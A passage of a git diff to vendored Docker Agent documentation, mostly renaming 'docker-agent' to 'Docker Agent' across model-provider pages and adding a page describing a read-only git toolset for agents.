Type:** OpenAI-compatible (`openai`) - **Base URL:** `https://api.minimax.io/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/mistral/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/mistral/index.md index db977d445141..7e40916d53c6 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/mistral/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/mistral/index.md @@ -1,16 +1,16 @@ --- title: "Mistral" -description: "Use Mistral AI models with docker-agent." +description: "Use Mistral AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, mistral weight: 170 canonical: https://docs.docker.com/ai/docker-agent/providers/mistral/ --- -_Use Mistral AI models with docker-agent._ +_Use Mistral AI models with Docker Agent._ ## Overview -Mistral AI provides powerful language models through an OpenAI-compatible API. docker-agent includes built-in support for Mistral as an alias provider. +Mistral AI provides powerful language models through an OpenAI-compatible API. Docker Agent includes built-in support for Mistral as an alias provider. ## Setup @@ -70,23 +70,23 @@ Check the [Mistral Models documentation](https://docs.mistral.ai/getting-started ## Auto-Detection -When you run `docker agent run` without specifying a config, docker-agent automatically detects available providers. If `MISTRAL_API_KEY` is set and higher-priority providers (OpenAI, Anthropic, Google) are not available, Mistral will be used with `mistral-small-latest` as the default model. +When you run `docker agent run` without specifying a config and no project-level `docker-agent.yaml`, `docker-agent.yml`, or `docker-agent.hcl` exists, Docker Agent automatically detects available providers. If `MISTRAL_API_KEY` is set and higher-priority providers (OpenAI, Anthropic, Google) are not available, Mistral will be used with `mistral-small-latest` as the default model. ## Extended Thinking -docker-agent's `thinking_budget` field is **not applied** to Mistral models: the underlying OpenAI-compatible client only sends `reasoning_effort` for OpenAI reasoning model names (o-series, gpt-5). Setting `thinking_budget` on a Mistral model passes config validation but has no effect on the request. +Docker Agent's `thinking_budget` field is **not applied** to Mistral models: the underlying OpenAI-compatible client only sends `reasoning_effort` for OpenAI reasoning model names (o-series, gpt-5). Setting `thinking_budget` on a Mistral model passes config validation but has no effect on the request. Mistral reasoning models (e.g. `magistral`) reason on their own without configuration. For non-reasoning models, use the [think tool](../../tools/think/index.md) instead. ## How It Works -Mistral is implemented as a built-in alias in docker-agent: +Mistral is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.mistral.ai/v1` - **Token Variable:** `MISTRAL_API_KEY` -This means Mistral uses the same client as OpenAI, making it fully compatible with all OpenAI features supported by docker-agent. +This means Mistral uses the same client as OpenAI, making it fully compatible with all OpenAI features supported by Docker Agent. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/moonshot/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/moonshot/index.md index f937beb2f263..f370592b492d 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/moonshot/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/moonshot/index.md @@ -1,18 +1,18 @@ --- title: "Moonshot AI" -description: "Use Moonshot AI (Kimi) models with docker-agent." +description: "Use Moonshot AI (Kimi) models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, moonshot ai weight: 180 canonical: https://docs.docker.com/ai/docker-agent/providers/moonshot/ --- -_Use Moonshot AI (Kimi) models with docker-agent._ +_Use Moonshot AI (Kimi) models with Docker Agent._ ## Overview [Moonshot AI](https://www.moonshot.ai/) serves its Kimi model family through an OpenAI-compatible API. The Kimi K2 models have strong momentum for coding and -agentic tasks. docker-agent includes built-in support for Moonshot AI as an +agentic tasks. Docker Agent includes built-in support for Moonshot AI as an alias provider. ## Setup @@ -74,7 +74,7 @@ model IDs, context limits, and pricing. ## How It Works -Moonshot AI is implemented as a built-in alias in docker-agent: +Moonshot AI is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.moonshot.ai/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/nebius/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/nebius/index.md index 3b062a0d117b..deadbaaea4b3 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/nebius/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/nebius/index.md @@ -1,16 +1,16 @@ --- title: "Nebius" -description: "Use Nebius AI models with docker-agent." +description: "Use Nebius AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, nebius weight: 190 canonical: https://docs.docker.com/ai/docker-agent/providers/nebius/ --- -_Use Nebius AI models with docker-agent._ +_Use Nebius AI models with Docker Agent._ ## Overview -Nebius provides AI models through an OpenAI-compatible API. docker-agent includes built-in support for Nebius as an alias provider. +Nebius provides AI models through an OpenAI-compatible API. Docker Agent includes built-in support for Nebius as an alias provider. ## Setup @@ -66,7 +66,7 @@ Nebius hosts various open models. Check the [Nebius documentation](https://nebiu ## How It Works -Nebius is implemented as a built-in alias in docker-agent: +Nebius is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.studio.nebius.com/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/nvidia/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/nvidia/index.md index 916b86745761..330dad99f0bd 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/nvidia/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/nvidia/index.md @@ -1,18 +1,18 @@ --- title: "NVIDIA NIM" -description: "Use NVIDIA NIM models with docker-agent." +description: "Use NVIDIA NIM models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, nvidia, nim, nemotron weight: 290 canonical: https://docs.docker.com/ai/docker-agent/providers/nvidia/ --- -_Use NVIDIA NIM models with docker-agent._ +_Use NVIDIA NIM models with Docker Agent._ ## Overview NVIDIA provides access to Nemotron and many other open-weight models through [build.nvidia.com](https://build.nvidia.com/) (with a free tier) via an -OpenAI-compatible API. docker-agent includes built-in support for NVIDIA as an +OpenAI-compatible API. Docker Agent includes built-in support for NVIDIA as an alias provider. The same alias also works against a self-hosted [NVIDIA NIM](https://docs.nvidia.com/nim/) deployment by overriding `base_url`. @@ -86,14 +86,14 @@ models: ## How It Works -NVIDIA is implemented as a built-in alias in docker-agent: +NVIDIA is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://integrate.api.nvidia.com/v1` - **Token Variable:** `NVIDIA_API_KEY` Because NIM fronts open-weight models whose chat templates often only accept -a single system message, docker-agent coalesces the agent instruction and any +a single system message, Docker Agent coalesces the agent instruction and any toolset instructions into one leading system message before sending the request. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/openai/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/openai/index.md index 4e866c24deee..abd11c54fbe8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/openai/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/openai/index.md @@ -1,12 +1,12 @@ --- title: "OpenAI" -description: "Use GPT-5.6, GPT-4o, GPT-5, GPT-5-mini, and other OpenAI models with docker-agent." +description: "Use GPT-5.6, GPT-4o, GPT-5, GPT-5-mini, and other OpenAI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, openai weight: 200 canonical: https://docs.docker.com/ai/docker-agent/providers/openai/ --- -_Use GPT-5.6, GPT-4o, GPT-5, GPT-5-mini, and other OpenAI models with docker-agent._ +_Use GPT-5.6, GPT-4o, GPT-5, GPT-5-mini, and other OpenAI models with Docker Agent._ ## Setup @@ -86,7 +86,7 @@ Token counts, `adaptive`, and `adaptive/` are rejected with a configurat > [!WARNING] > **Hidden reasoning tokens** > -> OpenAI reasoning models always produce hidden reasoning tokens that count against `max_tokens` — even with `thinking_budget: none` on older models. docker-agent automatically raises the output-token floor for its internal low-effort calls so reasoning cannot starve visible text output. +> OpenAI reasoning models always produce hidden reasoning tokens that count against `max_tokens` — even with `thinking_budget: none` on older models. Docker Agent automatically raises the output-token floor for its internal low-effort calls so reasoning cannot starve visible text output. See the [Thinking / Reasoning guide](../../guides/thinking/index.md) for a cross-provider overview. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/opencode-go/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/opencode-go/index.md index fa6abe5de183..69199c31f557 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/opencode-go/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/opencode-go/index.md @@ -1,18 +1,18 @@ --- title: "OpenCode Go" -description: "Use OpenCode Go models with docker-agent." +description: "Use OpenCode Go models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, opencode go weight: 210 canonical: https://docs.docker.com/ai/docker-agent/providers/opencode-go/ --- -_Use OpenCode Go models with docker-agent._ +_Use OpenCode Go models with Docker Agent._ ## Overview [OpenCode Go](https://opencode.ai/docs/go) is a low-cost subscription service ($5 first month, then $10/month) that provides reliable access to popular open-source coding models. It serves models through both OpenAI-compatible and Anthropic-compatible APIs from globally distributed endpoints. -docker-agent includes built-in support for OpenCode Go as an alias provider. +Docker Agent includes built-in support for OpenCode Go as an alias provider. ## Setup @@ -122,15 +122,15 @@ agents: ## How It Works -OpenCode Go is implemented as a built-in alias in docker-agent: +OpenCode Go is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://opencode.ai/zen/go/v1` - **Token Variable:** `OPENCODE_API_KEY` -This means OpenCode Go uses the same client as OpenAI, making it fully compatible with all OpenAI features supported by docker-agent. +This means OpenCode Go uses the same client as OpenAI, making it fully compatible with all OpenAI features supported by Docker Agent. -For Anthropic-compatible models (MiniMax, Qwen), docker-agent uses a custom provider pointing to the Anthropic client at `https://opencode.ai/zen/go` with the same token. +For Anthropic-compatible models (MiniMax, Qwen), Docker Agent uses a custom provider pointing to the Anthropic client at `https://opencode.ai/zen/go` with the same token. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/opencode-zen/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/opencode-zen/index.md index ab997252cad6..dc765cfd43f1 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/opencode-zen/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/opencode-zen/index.md @@ -1,18 +1,18 @@ --- title: "OpenCode Zen" -description: "Use OpenCode Zen models with docker-agent." +description: "Use OpenCode Zen models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, opencode zen weight: 220 canonical: https://docs.docker.com/ai/docker-agent/providers/opencode-zen/ --- -_Use OpenCode Zen models with docker-agent._ +_Use OpenCode Zen models with Docker Agent._ ## Overview [OpenCode Zen](https://opencode.ai/docs/zen) is a curated gateway of tested and verified AI models provided by the OpenCode team. It offers pay-per-use access to a wide range of models — from GPT and Claude to open-source models — all through a single API key. Several free models are also available. -docker-agent includes built-in support for OpenCode Zen as an alias provider for OpenAI-compatible models. Anthropic and Google models are supported via custom provider definitions. +Docker Agent includes built-in support for OpenCode Zen as an alias provider for OpenAI-compatible models. Anthropic and Google models are supported via custom provider definitions. ## Setup @@ -97,7 +97,7 @@ These models use the `/v1/chat/completions` endpoint and work directly with the ### OpenAI-Compatible (Responses API) -These models use the `/v1/responses` endpoint and are auto-detected by docker-agent based on the model name: +These models use the `/v1/responses` endpoint and are auto-detected by Docker Agent based on the model name: | Model | Description | | ---------------------- | --------------------------------- | @@ -194,7 +194,7 @@ agents: ## How It Works -OpenCode Zen is implemented as a built-in alias in docker-agent: +OpenCode Zen is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (auto-detects Responses API for GPT models, Chat Completions for others) - **Base URL:** `https://opencode.ai/zen/v1` @@ -202,7 +202,7 @@ OpenCode Zen is implemented as a built-in alias in docker-agent: The same API key works for both OpenCode Go and OpenCode Zen — they are part of the same platform. Zen uses a pay-per-use billing model, while Go uses a fixed subscription. -For Anthropic-compatible models, docker-agent uses a custom provider pointing to the Anthropic client at `https://opencode.ai/zen` with the same token. For Google models, a custom provider points to the Google client at `https://opencode.ai/zen` (the Google SDK appends its own `/v1beta/models/...` path segment). +For Anthropic-compatible models, Docker Agent uses a custom provider pointing to the Anthropic client at `https://opencode.ai/zen` with the same token. For Google models, a custom provider points to the Google client at `https://opencode.ai/zen` (the Google SDK appends its own `/v1beta/models/...` path segment). ### Differences from OpenCode Go diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/openrouter/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/openrouter/index.md index 19dbca4d4ab0..b01d40211ef8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/openrouter/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/openrouter/index.md @@ -1,16 +1,16 @@ --- title: "OpenRouter" -description: "Use OpenRouter models with docker-agent." +description: "Use OpenRouter models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, openrouter weight: 230 canonical: https://docs.docker.com/ai/docker-agent/providers/openrouter/ --- -_Use OpenRouter models with docker-agent._ +_Use OpenRouter models with Docker Agent._ ## Overview -OpenRouter provides access to models from many providers through an OpenAI-compatible API. docker-agent includes built-in support for OpenRouter as an alias provider. +OpenRouter provides access to models from many providers through an OpenAI-compatible API. Docker Agent includes built-in support for OpenRouter as an alias provider. ## Setup @@ -35,7 +35,7 @@ agents: instruction: You are a helpful assistant. ``` -OpenRouter model IDs usually include the upstream provider name, such as `anthropic/claude-sonnet-4-5` or `meta-llama/llama-3.3-70b-instruct`. docker-agent splits only the first slash, so the full upstream model ID is preserved. +OpenRouter model IDs usually include the upstream provider name, such as `anthropic/claude-sonnet-4-5` or `meta-llama/llama-3.3-70b-instruct`. Docker Agent splits only the first slash, so the full upstream model ID is preserved. ### Named Model @@ -58,13 +58,13 @@ agents: ## Pricing and Model Metadata -docker-agent fetches OpenRouter model metadata from [models.dev](https://models.dev/), including pricing per 1M input/output tokens, cache pricing when available, context limits, output limits, and modalities. This powers cost tracking and the model picker in the same way as other first-class providers. +Docker Agent fetches OpenRouter model metadata from [models.dev](https://models.dev/), including pricing per 1M input/output tokens, cache pricing when available, context limits, output limits, and modalities. This powers cost tracking and the model picker in the same way as other first-class providers. -If models.dev is unavailable, docker-agent falls back to its embedded catalog snapshot. +If models.dev is unavailable, Docker Agent falls back to its embedded catalog snapshot. ## How It Works -OpenRouter is implemented as a built-in alias in docker-agent: +OpenRouter is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai`) - **Base URL:** `https://openrouter.ai/api/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/overview/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/overview/index.md index 53f6f60b42df..03147c77878e 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/overview/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/overview/index.md @@ -1,6 +1,6 @@ --- title: "Model Providers" -description: "docker-agent supports multiple AI model providers. Choose the right one for your use case, or use multiple providers in the same configuration." +description: "Docker Agent supports multiple AI model providers. Choose the right one for your use case, or use multiple providers in the same configuration." keywords: docker agent, ai agents, model providers, llm linkTitle: "Overview" weight: 10 @@ -9,7 +9,7 @@ aliases: - /ai/docker-agent/model-providers/ --- -_docker-agent supports multiple AI model providers. Choose the right one for your use case, or use multiple providers in the same configuration._ +_Docker Agent supports multiple AI model providers. Choose the right one for your use case, or use multiple providers in the same configuration._ ## Supported Providers @@ -32,7 +32,7 @@ _docker-agent supports multiple AI model providers. Choose the right one for you ## Additional Built-in Providers -docker-agent also includes built-in aliases for these providers: +Docker Agent also includes built-in aliases for these providers: | Provider | Alias | API Key / Env Variable | | -------------- | ---------------- | ----------------------------------- | diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/ovhcloud/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/ovhcloud/index.md index c58cc295c325..53298c8d57ac 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/ovhcloud/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/ovhcloud/index.md @@ -1,17 +1,17 @@ --- title: "OVHcloud" -description: "Use OVHcloud AI Endpoints models with docker-agent." +description: "Use OVHcloud AI Endpoints models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, ovhcloud weight: 240 canonical: https://docs.docker.com/ai/docker-agent/providers/ovhcloud/ --- -_Use OVHcloud AI Endpoints models with docker-agent._ +_Use OVHcloud AI Endpoints models with Docker Agent._ ## Overview [OVHcloud AI Endpoints](https://endpoints.ai.cloud.ovh.net/) serves open-weight -models through an OpenAI-compatible API, hosted in the EU. docker-agent includes +models through an OpenAI-compatible API, hosted in the EU. Docker Agent includes built-in support for OVHcloud as an alias provider. ## Setup @@ -74,20 +74,20 @@ IDs, context limits, and free-tier availability. ## How It Works -OVHcloud is implemented as a built-in alias in docker-agent: +OVHcloud is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://oai.endpoints.kepler.ai.cloud.ovh.net/v1` - **Token Variable:** `OVH_AI_ENDPOINTS_ACCESS_TOKEN` -docker-agent automatically coalesces consecutive system messages into one for +Docker Agent automatically coalesces consecutive system messages into one for OVHcloud, because some OVHcloud models return an empty stream when a request carries more than one system message. ## Free tier OVHcloud offers rate-limited free access to several models. Under heavy -rate-limiting the endpoint may return an empty response; docker-agent surfaces +rate-limiting the endpoint may return an empty response; Docker Agent surfaces this as a warning rather than failing. For sustained use, an access token with a paid plan avoids the free-tier request-rate cap. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/together/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/together/index.md index 2bf83457b67c..8dda71006171 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/together/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/together/index.md @@ -1,18 +1,18 @@ --- title: "Together AI" -description: "Use Together AI models with docker-agent." +description: "Use Together AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, together ai weight: 250 canonical: https://docs.docker.com/ai/docker-agent/providers/together/ --- -_Use Together AI models with docker-agent._ +_Use Together AI models with Docker Agent._ ## Overview [Together AI](https://www.together.ai/) is one of the largest hosts of open models, serving Llama, Qwen, DeepSeek, Kimi, GLM and others through an -OpenAI-compatible API. docker-agent includes built-in support for Together AI as +OpenAI-compatible API. Docker Agent includes built-in support for Together AI as an alias provider. ## Setup @@ -74,14 +74,14 @@ current model IDs, context limits, and pricing. ## How It Works -Together AI is implemented as a built-in alias in docker-agent: +Together AI is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.together.xyz/v1` - **Token Variable:** `TOGETHER_API_KEY` Because Together AI fronts open-weight models whose chat templates may reject -more than one leading system message, docker-agent coalesces its per-source +more than one leading system message, Docker Agent coalesces its per-source system messages into a single one for this provider. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/vercel/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/vercel/index.md index 1047fa0d46c1..f2278690bb23 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/vercel/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/vercel/index.md @@ -1,19 +1,19 @@ --- title: "Vercel AI Gateway" -description: "Use Vercel AI Gateway models with docker-agent." +description: "Use Vercel AI Gateway models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, vercel ai gateway weight: 260 canonical: https://docs.docker.com/ai/docker-agent/providers/vercel/ --- -_Use Vercel AI Gateway models with docker-agent._ +_Use Vercel AI Gateway models with Docker Agent._ ## Overview [Vercel AI Gateway](https://vercel.com/docs/ai-gateway) is a single, unified OpenAI-compatible endpoint that routes to models from OpenAI, Anthropic, Google, xAI and more at list price with no markup, plus provider routing and failover. -It lets you reach many providers with one API key. docker-agent includes +It lets you reach many providers with one API key. Docker Agent includes built-in support for Vercel AI Gateway as an alias provider. ## Setup @@ -82,14 +82,14 @@ the current model list, IDs, and pricing. ## How It Works -Vercel AI Gateway is implemented as a built-in alias in docker-agent: +Vercel AI Gateway is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://ai-gateway.vercel.sh/v1` - **Token Variable:** `AI_GATEWAY_API_KEY` Because the gateway can route to open-weight models with strict chat templates, -docker-agent coalesces consecutive system messages into a single leading one for +Docker Agent coalesces consecutive system messages into a single leading one for this provider. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/xai/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/xai/index.md index 0e9fa089a7cd..638e5018826b 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/xai/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/xai/index.md @@ -1,16 +1,16 @@ --- title: "xAI (Grok)" -description: "Use xAI's Grok models with docker-agent." +description: "Use xAI's Grok models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, xai (grok) weight: 270 canonical: https://docs.docker.com/ai/docker-agent/providers/xai/ --- -_Use xAI's Grok models with docker-agent._ +_Use xAI's Grok models with Docker Agent._ ## Overview -xAI provides the Grok family of models through an OpenAI-compatible API. docker-agent includes built-in support for xAI as an alias provider. +xAI provides the Grok family of models through an OpenAI-compatible API. Docker Agent includes built-in support for xAI as an alias provider. ## Setup @@ -69,13 +69,13 @@ Check the [xAI documentation](https://docs.x.ai/docs) for the latest available m ## Extended Thinking -docker-agent's `thinking_budget` field is **not applied** to xAI models: the underlying OpenAI-compatible client only sends `reasoning_effort` for OpenAI reasoning model names (o-series, gpt-5). Setting `thinking_budget` on a Grok model passes config validation but has no effect on the request. +Docker Agent's `thinking_budget` field is **not applied** to xAI models: the underlying OpenAI-compatible client only sends `reasoning_effort` for OpenAI reasoning model names (o-series, gpt-5). Setting `thinking_budget` on a Grok model passes config validation but has no effect on the request. Grok reasoning models (e.g. `grok-3-mini`) reason on their own without configuration. For non-reasoning models, use the [think tool](../../tools/think/index.md) instead. ## How It Works -xAI is implemented as a built-in alias in docker-agent: +xAI is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.x.ai/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/background-jobs/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/background-jobs/index.md index 158d4b1473e4..8a7a3915e678 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/background-jobs/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/background-jobs/index.md @@ -50,7 +50,7 @@ toolsets: recall: true ``` -When the agent starts a background job with `recall: true`, docker-agent sends a steering message back into the running agent loop after the job finishes. The message contains a short completion sentence and the job output, so the agent can react without polling `view_background_job`. +When the agent starts a background job with `recall: true`, Docker Agent sends a steering message back into the running agent loop after the job finishes. The message contains a short completion sentence and the job output, so the agent can react without polling `view_background_job`. Use recall for finite background work where completion matters (for example, a long build or test suite). Avoid it for servers and watchers that are expected to run until stopped. See [`examples/shell_recall.yaml`](https://github.com/docker/docker-agent/blob/main/examples/shell_recall.yaml) for a complete configuration. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/git/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/git/index.md new file mode 100644 index 000000000000..9568b7508dfa --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/tools/git/index.md @@ -0,0 +1,100 @@ +--- +title: "Git Tool" +description: "Read-only inspection of the working git repository." +keywords: docker agent, ai agents, tools, toolsets, git tool +linkTitle: "Git" +weight: 125 +canonical: https://docs.docker.com/ai/docker-agent/tools/git/ +--- + +_Read-only inspection of the working git repository._ + +## Overview + +The git toolset gives an agent structured, **read-only** access to the working repository — status, history, branches, a commit's changes, and line-level authorship. It is implemented with go-git, so it needs **no `git` binary**. + +Compared with running `git` through the `shell` tool, the git toolset returns clean, structured output the model can read reliably, is **safe by construction** (no command can modify the repository), and works even when `shell` is disabled or no `git` binary is installed. + +> [!NOTE] +> The git toolset is read-only. To stage, commit, or check out, use the [`shell`](../shell/index.md) tool. + +## Configuration + +```yaml +toolsets: + - type: git +``` + +No configuration options. The repository is opened at the agent's working directory; a subdirectory still resolves to the repository root. + +> [!WARNING] +> **The repository is discovered by walking up parent directories.** If the working +> directory is not itself a repository but an ancestor is (for example a +> home directory tracked as dotfiles), the toolset resolves to that ancestor and +> `git_show` / `git_blame` can expose its full history and file contents. The +> filesystem toolset's allow/deny lists do **not** apply here. Only enable this +> toolset where the surrounding repository is safe to read. + +> [!NOTE] +> **Performance.** go-git is pure Go, which costs speed on large repositories: +> `git_status` rehashes the whole worktree, and `git_blame` scales with history +> depth times file size — its 400-line output cap is applied *after* the full +> computation, so it does not make blaming a large file cheaper. + +## Tools + +| Tool | Description | +| --- | --- | +| `git_status` | Current branch and changed files (staged / unstaged / untracked). | +| `git_log` | Recent commits (hash, date, author, subject). | +| `git_branches` | Local branches, current one marked with `*`. | +| `git_show` | A commit's metadata, message, and changed files with +/- counts. | +| `git_blame` | Line-by-line authorship for a file. | + +### `git_log` + +| Parameter | Required | Description | +| --- | --- | --- | +| `limit` | No | Maximum number of commits to return (default 20). | +| `path` | No | Only show commits that touch this path. | + +### `git_show` + +| Parameter | Required | Description | +| --- | --- | --- | +| `ref` | No | Commit hash or revision to show (default HEAD). | + +### `git_blame` + +| Parameter | Required | Description | +| --- | --- | --- | +| `path` | Yes | File path to blame, relative to the repository root. | +| `rev` | No | Commit or revision to blame at (default HEAD). | + +## Example + +```yaml +agents: + root: + model: openai/gpt-5-mini + description: A code review assistant + instruction: | + Review the working changes: check git_status, then git_show the latest + commit, and summarize what changed. + toolsets: + - type: git + - type: filesystem +``` + +Example `git_status` output: + +```text +On branch master +1 changed file(s) [XY = staged/worktree; M=modified A=added D=deleted R=renamed ?=untracked]: + M main.go +``` + +> [!TIP] +> **When to use** +> +> Use the git toolset whenever the agent needs repository context — before editing, to review recent history, or to find who last touched a line — without exposing the writable `shell` surface. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/lsp/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/lsp/index.md index 0cb6216fd177..b2d97b7227b6 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/lsp/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/lsp/index.md @@ -171,7 +171,7 @@ The LSP tool includes built-in instructions that guide the agent on how to use i ## Capability Detection -Not all LSP servers support all features. During the `initialize` handshake, docker-agent reads the server's `ServerCapabilities` and **filters out the `lsp_*` tools the server does not advertise**. The model never sees, for example, `lsp_inlay_hints` against a server that doesn't support it, so it can't waste a turn calling a tool that would only fail. +Not all LSP servers support all features. During the `initialize` handshake, Docker Agent reads the server's `ServerCapabilities` and **filters out the `lsp_*` tools the server does not advertise**. The model never sees, for example, `lsp_inlay_hints` against a server that doesn't support it, so it can't waste a turn calling a tool that would only fail. The agent uses `lsp_workspace` to discover what's available: @@ -224,4 +224,4 @@ All LSP tools use **1-based** line and character positions: > [!TIP] > **Auto-Installation** > -> docker-agent can automatically download and install LSP servers if they are not found in your PATH. Use the `version` property to specify a package, or let docker-agent auto-detect it from the command name. See [Auto-Installing Tools](../../configuration/tools/index.md#auto-installing-tools) for details. +> Docker Agent can automatically download and install LSP servers if they are not found in your PATH. Use the `version` property to specify a package, or let Docker Agent auto-detect it from the command name. See [Auto-Installing Tools](../../configuration/tools/index.md#auto-installing-tools) for details. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/mcp-catalog/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/mcp-catalog/index.md index b2fbdf3d48d1..d395a3ef6de7 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/mcp-catalog/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/mcp-catalog/index.md @@ -11,7 +11,7 @@ _Let the agent discover and activate remote MCP servers from the Docker MCP Cata ## Overview -The `mcp_catalog` toolset gives an agent access to a curated subset of the [Docker MCP Catalog](https://hub.docker.com/search?q=&type=mcp) — every server in this subset is reachable over the **streamable-http** transport, so docker-agent can talk to it directly without the MCP gateway or a local subprocess. +The `mcp_catalog` toolset gives an agent access to a curated subset of the [Docker MCP Catalog](https://hub.docker.com/search?q=&type=mcp) — every server in this subset is reachable over the **streamable-http** transport, so Docker Agent can talk to it directly without the MCP gateway or a local subprocess. Servers are **not** active by default. Instead, the toolset exposes a small set of meta-tools the agent uses to search, enable, and disable servers as a turn unfolds. Tools from un-enabled servers stay hidden, so the prompt is not flooded with hundreds of tool definitions the agent will never use. @@ -27,7 +27,7 @@ toolsets: - type: mcp_catalog ``` -The catalog is embedded in the docker-agent binary and refreshed with each release. By default every server in the embedded subset is offered. +The catalog is embedded in the `docker-agent` binary and refreshed with each release. By default every server in the embedded subset is offered. ### Restricting the offered servers @@ -72,7 +72,7 @@ Up to five tools are exposed to the model. The disable / reset-auth pair only ap ## Authentication -The catalog only includes servers docker-agent can authenticate itself, so there are two auth flavours: +The catalog only includes servers Docker Agent can authenticate itself, so there are two auth flavours: - **`oauth`** — `enable_remote_mcp_server` surfaces an authorization URL through the elicitation pipeline (the same one used by YAML-declared remote MCP toolsets) and blocks until the user either authorizes or cancels. Once the user authorizes, tokens are persisted in the OS keyring and re-used on subsequent runs. Use `reset_remote_mcp_server_auth` to wipe them. If the user dismisses the dialog, `enable` returns an error result naming the decline so the agent can ask whether to retry. - **`none`** — No authentication. The server is reachable as soon as it is enabled. @@ -102,10 +102,10 @@ A complete, runnable configuration lives in [`examples/mcp_catalog.yaml`](https: ## Notes and Limitations - **Streamable-http only.** The catalog deliberately excludes servers that require a local subprocess or the MCP gateway — declare those with [`type: mcp`](../../configuration/tools/index.md#mcp-tools) instead. -- **Catalog membership changes between releases.** The set of available servers is updated with each docker-agent release as integrations are added or removed. Servers present in one 